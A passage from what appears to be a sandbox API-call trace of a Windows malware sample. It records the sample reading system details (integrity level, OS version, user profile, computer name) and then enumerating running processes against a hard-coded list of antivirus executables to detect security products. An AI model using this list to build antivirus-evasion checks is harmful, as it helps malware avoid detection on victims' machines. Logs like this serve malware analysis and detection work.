Flags=0x8, Size=0xb) returned 0x485f728 [0301.802] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] lstrlenA (lpString="user32.dll") returned 10 [0301.803] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0301.803] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0301.803] lstrlenA (lpString="1234567890") returned 10 [0301.803] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f728 | out: hHeap=0x47e0000) returned 1 [0301.803] GetCurrentProcess () returned 0xffffffff [0301.803] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28af0b4 | out: TokenHandle=0x28af0b4*=0x324) returned 1 [0301.803] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28af08c | out: TokenInformation=0x0, ReturnLength=0x28af08c) returned 0 [0301.803] GetLastError () returned 0x7a [0301.803] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f700 [0301.803] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x19, TokenInformation=0x485f700, TokenInformationLength=0x14, ReturnLength=0x28af0ac | out: TokenInformation=0x485f700, ReturnLength=0x28af0ac) returned 1 [0301.804] GetSidSubAuthorityCount (pSid=0x485f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x485f709 [0301.804] GetSidSubAuthority (pSid=0x485f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x485f710 [0301.804] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0301.804] CloseHandle (hObject=0x324) returned 1 [0301.804] GetVersionExA (in: lpVersionInformation=0x2ae8bc0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2ae8bc0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.804] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0301.804] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0301.804] GetCurrentProcess () returned 0xffffffff [0301.804] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x28afcf8 | out: Wow64Process=0x28afcf8) returned 1 [0301.804] GetWindowsDirectoryW (in: lpBuffer=0x2ae9dfc, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0301.804] GetEnvironmentVariableW (in: lpName="SystemRoot", lpBuffer=0x28afa94, nSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0301.805] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x2aea210, nSize=0x209 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0301.805] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x2aea006, nSize=0x20a | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0301.805] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x28afca0, nSize=0x3f | out: lpBuffer="C:") returned 0x2 [0301.805] GetComputerNameW (in: lpBuffer=0x2aea77c, nSize=0x28afcf8 | out: lpBuffer="NQDPDE", nSize=0x28afcf8) returned 1 [0301.805] lstrlenA (lpString="tqiffy725810") returned 12 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.805] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.806] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] lstrlenA (lpString="user32.dll") returned 10 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f700 [0301.807] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f718 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f728 [0301.807] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0301.807] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x26) returned 0x485f740 [0301.807] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f700 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f770 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f788 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f7a0 [0301.807] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0301.807] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f740 | out: hHeap=0x47e0000) returned 1 [0301.807] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f740 [0301.808] lstrlenA (lpString="MsMpEng.exe") returned 11 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f758 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f7b8 [0301.808] lstrlenA (lpString="MsMpEng.exe") returned 11 [0301.808] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f740 | out: hHeap=0x47e0000) returned 1 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f740 [0301.808] lstrlenA (lpString="mcshield.exe") returned 12 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f7d0 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f7e0 [0301.808] lstrlenA (lpString="mcshield.exe") returned 12 [0301.808] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f740 | out: hHeap=0x47e0000) returned 1 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f7f8 [0301.808] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f740 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f818 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f828 [0301.808] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0301.808] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7f8 | out: hHeap=0x47e0000) returned 1 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f7f8 [0301.808] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f840 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f850 [0301.808] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f868 [0301.808] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0301.809] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7f8 | out: hHeap=0x47e0000) returned 1 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x25) returned 0x485f880 [0301.809] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f7f8 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f8b0 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485f8c8 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f8e0 [0301.809] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0301.809] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f880 | out: hHeap=0x47e0000) returned 1 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f880 [0301.809] lstrlenA (lpString="AvastSvc.exe") returned 12 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f898 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f8f8 [0301.809] lstrlenA (lpString="AvastSvc.exe") returned 12 [0301.809] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f880 | out: hHeap=0x47e0000) returned 1 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x2f) returned 0x485f910 [0301.809] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f880 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f948 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f968 [0301.809] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f980 [0301.810] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0301.810] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f910 | out: hHeap=0x47e0000) returned 1 [0301.810] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x23) returned 0x485f910 [0301.810] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f998 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f9a8 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fae0 [0301.811] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0301.811] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f910 | out: hHeap=0x47e0000) returned 1 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485faf8 [0301.811] lstrlenA (lpString="fshoster32.exe") returned 14 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485ffd0 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fb88 [0301.811] lstrlenA (lpString="fshoster32.exe") returned 14 [0301.811] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485faf8 | out: hHeap=0x47e0000) returned 1 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485fb58 [0301.811] lstrlenA (lpString="WRSA.exe") returned 8 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f910 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485fa08 [0301.811] lstrlenA (lpString="WRSA.exe") returned 8 [0301.811] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb58 | out: hHeap=0x47e0000) returned 1 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x22) returned 0x47e6b18 [0301.811] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485fba0 [0301.811] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485fa80 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485faf8 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485fb28 [0301.812] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0301.812] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e6b18 | out: hHeap=0x47e0000) returned 1 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485fa38 [0301.812] lstrlenA (lpString="ByteFence.exe") returned 13 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f920 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485fa50 [0301.812] lstrlenA (lpString="ByteFence.exe") returned 13 [0301.812] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa38 | out: hHeap=0x47e0000) returned 1 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1c) returned 0x47e6b18 [0301.812] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f930 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x10) returned 0x485fa20 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485fb10 [0301.812] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0301.812] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e6b18 | out: hHeap=0x47e0000) returned 1 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485fb40 [0301.812] lstrlenA (lpString="fmon.exe") returned 8 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x47e6b18 [0301.812] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f9f0 [0301.812] lstrlenA (lpString="fmon.exe") returned 8 [0301.813] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb40 | out: hHeap=0x47e0000) returned 1 [0301.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0301.846] Process32First (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.847] lstrcmpiA (lpString1="[System Process]", lpString2="ccSvcHst.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrvx.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="avgsvcx.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrva.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="MsMpEng.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="mcshield.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="avp.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="kavtray.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="egui.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="ekrn.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="bdagent.exe") returned -1 [0301.851] lstrcmpiA (lpString1="[System Process]", lpString2="vsserv.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="vsservppl.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="AvastSvc.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="coreServiceShell.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="PccNTMon.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="NTRTScan.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="SAVAdminService.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="SavService.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="fshoster32.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="WRSA.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="vkise.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="isesrv.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="cmdagent.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="ByteFence.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="MBAMService.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="mbamgui.exe") returned -1 [0301.852] lstrcmpiA (lpString1="[System Process]", lpString2="fmon.exe") returned -1 [0301.852] Sleep (dwMilliseconds=0xa) [0301.879] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="ccSvcHst.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="avgcsrvx.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="avgsvcx.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="avgcsrva.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="MsMpEng.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="mcshield.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="avp.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="kavtray.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="egui.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="ekrn.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="bdagent.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="vsserv.exe") returned -1 [0301.880] lstrcmpiA (lpString1="System", lpString2="vsservppl.exe") returned -1 [0301.880] lstrcmpiA (lpString1="System", lpString2="AvastSvc.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="coreServiceShell.exe") returned 1 [0301.880] lstrcmpiA (lpString1="System", lpString2="PccNTMon.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="NTRTScan.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="SAVAdminService.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="SavService.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="fshoster32.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="WRSA.exe") returned -1 [0301.881] lstrcmpiA (lpString1="System", lpString2="vkise.exe") returned -1 [0301.881] lstrcmpiA (lpString1="System", lpString2="isesrv.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="cmdagent.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="ByteFence.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="MBAMService.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="mbamgui.exe") returned 1 [0301.881] lstrcmpiA (lpString1="System", lpString2="fmon.exe") returned 1 [0301.881] Sleep (dwMilliseconds=0xa) [0301.897] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0301.897] lstrcmpiA (lpString1="smss.exe", lpString2="ccSvcHst.exe") returned 1 [0301.897] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrvx.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="avgsvcx.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrva.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="MsMpEng.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="mcshield.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="avp.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="kavtray.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="egui.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="ekrn.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="bdagent.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="vsserv.exe") returned -1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="vsservppl.exe") returned -1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="AvastSvc.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="coreServiceShell.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="PccNTMon.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="NTRTScan.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="SAVAdminService.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="SavService.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="fshoster32.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="WRSA.exe") returned -1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="vkise.exe") returned -1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="isesrv.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="cmdagent.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="ByteFence.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="MBAMService.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="mbamgui.exe") returned 1 [0301.898] lstrcmpiA (lpString1="smss.exe", lpString2="fmon.exe") returned 1 [0301.899] Sleep (dwMilliseconds=0xa) [0301.925] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0301.925] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0301.926] lstrcmpiA (lpString1="csrss.exe", 